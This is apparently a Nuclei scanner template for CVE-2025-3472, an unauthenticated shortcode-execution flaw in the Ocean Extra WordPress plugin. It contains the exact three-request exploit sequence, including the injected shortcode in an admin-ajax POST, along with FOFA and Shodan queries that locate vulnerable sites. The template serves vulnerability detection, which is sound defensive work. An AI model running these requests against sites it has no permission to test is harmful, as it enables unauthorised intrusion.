id: CVE-2025-3472 info: name: Ocean Extra <= 2.4.6 - Unauthenticated Shortcode Execution author: theamanrawat severity: medium description: | The Ocean Extra plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.6. This is due to the software allowing users to supply arbitrary shortcodes in the content_rech_data parameter that is then executed. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes when WooCommerce is also installed and activated. impact: | Unauthenticated attackers can execute arbitrary WordPress shortcodes, potentially leading to information disclosure, privilege escalation, or further site compromise depending on available shortcodes. remediation: Update Ocean Extra plugin to version 2.4.7 or later. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/74428e76-1946-408f-8adc-24ab4b7e46c5 - https://plugins.trac.wordpress.org/browser/ocean-extra/trunk/includes/shortcodes/shortcodes.php#L618 - https://plugins.trac.wordpress.org/changeset/3277977/ - https://nvd.nist.gov/vuln/detail/CVE-2025-3472 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2025-3472 cwe-id: CWE-94 epss-score: 0.11954 epss-percentile: 0.93947 metadata: verified: true max-request: 3 vendor: oceanwp product: ocean_extra framework: wordpress fofa-query: body="oceanwp" && body="woocommerce" shodan-query: http.html:"oceanwp" http.html:"woocommerce" tags: cve,cve2025,wordpress,wp-plugin,ocean-extra,oceanwp,woocommerce,shortcode,unauth,vuln flow: http(1) && http(2) && http(3) http: - raw: - | GET /?s=&post_type=product HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: dsl dsl: - 'contains(body, "add-to-cart=")' internal: true extractors: - type: regex name: product_id part: body group: 1 regex: - '(?:add-to-cart=|data-product_id="|product-)(\d+)' internal: true - raw: - | GET /?add-to-cart={{product_id}}&quantity=1 HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: dsl dsl: - 'status_code == 200 || status_code == 302' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=update_oceanwp_woo_free_shipping_left_shortcode&content_rech_data=[woocommerce_my_account]&content=test matchers: - type: dsl dsl: - 'contains_all(body, "oceanwp-woo-free-shipping", "username", "password")' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and # digest: 4a0a00473045022010b017784f98199152f958a8ab815cacd3a60af4b6e564225f85230a13d54a47022100a91e796676821ce684f7dde854cf293bb4d21a632b238922b666ae22d272ba42:922c64590222798bb761d5b6d8e72950